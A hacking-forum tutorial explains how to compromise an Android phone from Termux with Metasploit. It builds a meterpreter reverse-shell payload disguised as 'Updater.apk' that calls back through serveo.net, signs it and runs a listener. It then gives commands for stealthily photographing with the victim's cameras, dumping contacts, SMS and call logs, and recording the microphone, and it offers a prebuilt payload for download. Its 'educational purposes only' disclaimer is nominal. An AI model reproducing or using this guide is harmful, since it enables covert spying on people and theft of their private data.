

## How to hack android phone using termux

Continue

Note: This thread is now CLOSED by H4ck3R 777 (The Admin) due to violation of our Terms. I was informed that some of our members' Mobile Phones are done by using my information as a base guide. We never invade people's privacies and we don't want to be done by other people, specially our Information & Techniques. That's Y, I've decided to close THIS guide PERMANENTLY! (Screenshots, Requirements, Headings, Commands & Problems Section R not gonna Remove) All the groups are now Strictly watched by our Responsible & Genius Administrators! 1). Android 5.0 (Tutorial for Androids Lower Than 5.0 is HERE)2). Termux Android App (Download it from Play Store)3). Installed Metasploit Framework in Termux (Tutorial Here)4). Active Internet/WiFi Connection5). Termux should be allowed to use External Storage (For this only enter this command only at once: "termux-setup-storage")6). MiXplorer (For signing APK file, Download it from UpToDown Website)7). MiX Signer (APK Signer for MiXplorer, Download it from Play Store)8). (Recommended) Use Hacker's Keyboard for entering commands in Termux easily. pkg install openssl — It will successfully install OpenSSHssh -R (Desired Port):localhost:(Desired Port) serveo.net — Detail Below (Optional) Name this session: Port Forwarding msvenom -p android/meterpreter/reverse\_tcp LHOST=serveo.net LPORT=4564 R > storage/downloads/Updater.apk — Link for Updater.apk is in next 3rd Paragraph Long Press on "Un-Signed APK File (Updater.apk)" and select "MENU button" on top right corner of MiXplorer, then select "SIGN". Activate Metasploit Framework in Termux by entering this command in new session:msfconsole — Metasploit Framework Consolemkdir -p \$PREFIX/var/lib/postgresqlinitdb \$PREFIX/var/lib/postgresqlpg\_ctl -D \$PREFIX/var/lib/postgresql start — Thanks to DUST WORLD, for this fix ...!!! msf> use exploit/multi/handlermsf> set payload android/meterpreter/reverse\_tcpmsf> set LHOST localhostmsf> set LPORT 4564msf> exploit -j -z — Enter only BOLDED commands sessions -i (Session ID) — (Session ID) = 1 , 2 , 3 , 4 or 5 ... BINGO.....!!!!!!! You have successfully hacked your Victim's Android Device You can enter: {meterpreter> help} command, for all the available commands, here, I've simplified some commands for you.Taking Stealth Snapshot from Front Camera Just enter this command for this:webcam\_snap -i 2 -p storage/downloads/X-Stealth-Snapshot-F.jpgHere, in this command, 2 is representing the front camera. For Back camera, you have to use 1.Your Stealth Snapshot can be found here: (Default Write Storage) -> downloads -> X-Stealth-Snapshot-F.jpgTaking Stealth Snapshot from Rear Camera Just as the above, but this time, we will use 1.webcam\_snap -i 1 -p storage/downloads/X-Stealth-Snapshot-R.jpgYour Stealth Snapshot can be found here: (Default Write Storage) -> downloads -> X-Stealth-Snapshot-R.jpgTo fetch contacts, just enter this command:dump contacts -o storage/downloads/X-Contacts.txtContacts will be saved in : (Default Write Storage) -> downloads -> X-Contacts.txtJust like above.dump sms -o storage/downloads/X-SMS.txtAll the SMS will be saved in : (Default Write Storage) -> downloads -> X-SMS.txtJust enter this:dump calllog -o storage/downloads/X-CallLog.txtCall Log will be saved in : (Default Write Storage) -> downloads -> X-CallLog.txtSpying Through Microphone Here, you have to edit the duration of the recording microphone (default: 1s). Command for 10 seconds recording is this:record mic -d 10 -f storage/downloads/X-Spy-Record.mp3Spy Recording will be saved in : (Default Write Storage) -> downloads -> X-Spy-Record.mp3 Metasploit not running on Termux This might happen, if you do anything wrong in installing Termux on android. If you see error like GEMS not found, or any this kind of error, simply Delete Termux with its data, and reinstall it.msvenom/msfconsole : command not found! There are two possible reasons for that error.1). Metasploit is not properly installed on Termux. That's why, it was unable to create Command Shortcut. To fix this, uninstall the Termux, with Data. Then reinstall Termux and repeat all the Method again. This is actually a script error. I also faced this problem on first time installing Metasploit in Termux!2). Metasploit is successfully installed, but was unable to create the shortcut. To manage this, just enter:Just open a New Session and go to metasploit-framework directory, and enter ./msfconsole command, Like This (same for msvenom):cd metasploit-framework/msfconsoleOR./msfvenom — 1st command will take U 2 the MSF Directory, and 2nd 1 is 2 start MSF.2). Shortcut MethodThose people who are not satisfied with the first one, and want to create a shortcut command, as the other programs set, enter the following commands one by one in a new session (msfvenom included):in -s /data/data/com.termux/files/home/metasploit-framework/msfconsole msvconsole \$PREFIX/bin/in -s /data/data/com.termux/files/home/metasploit-framework/msfvenom msvconsole \$PREFIX/bin — This process is also called Symlinking [Updated]3). Still no luck (with msvenom)? , I've uploaded Updater.apk with default (LHOST=serveo.net , LPORT=4564) settings. Download it from there.Why we use serveo.net ...? As I told before, NGROK does not provide a fixed Domain and Port. So, you have to generate a new APK file, when you plan to hack a phone, you hacked before. See what serveo says about NGROK. Why we are using MiXplorer for Signing the APK File ...? Actually, there is no Other way to sign the APK file on Android. Otherwise, You have to sign the APK file in Your PC (Specially in Kali Linux). MiXplorer is the Excellent way to sign the APK file, directly in Android.Metasploit Error: Failed to connect to the Database Don't worry about it. We have already made a solution for this ). I think you have noticed earlier , that I was using "localhost" , instead of 127.0.0.1 or :::0:1 , as HOST. Actually, the "localhost" command automatically connects you to the available Local Host, no matter if it is 127.0.0.1 or :::0.1 or else.But if you still want to fix it, enter the following commands in New Session of Termux carefully:mkdir -p \$PREFIX/var/lib/postgresqlinitdb \$PREFIX/var/lib/postgresqlpg\_ctl -D \$PREFIX/var/lib/postgresql start — Thanks to Dusty World for this FIXWhich Android Phone is best for H4ckInG Purposes ...? 1). Google NeXuS phones/Tablets are Excellent for HackInG Purposes. As, they completely supports Kali NetHunter. NetHunter includes all the tools for hacking, and it works as an Android/Windows on a Tablet.2). But if we talk about Android, Many H4ck3Rs say that Samsng Galaxy S5 is Excellent for H4ckInG Purposes. It has a good Android Version (around 5.0), also Fully supports the Termux Application. This information is for Educational Purposes Only. I'll not be responsible of any Negative or Illegal use of this information. Also if you face any type of errors, or you think that I've missed something, then tell me in Comments Section. I'll find the Suitable Solution for that. Anyways, Just use these tricks for FUN... Not for doing Illegal work. We are all Ethical H4ck3Rs, and never invade people Privacies.Anyway, Thanks for reading my Thread (You can also join our WhatsApp Group for more information and Guides). BEST OF LUCK ...! |=====> H4ck3R 777
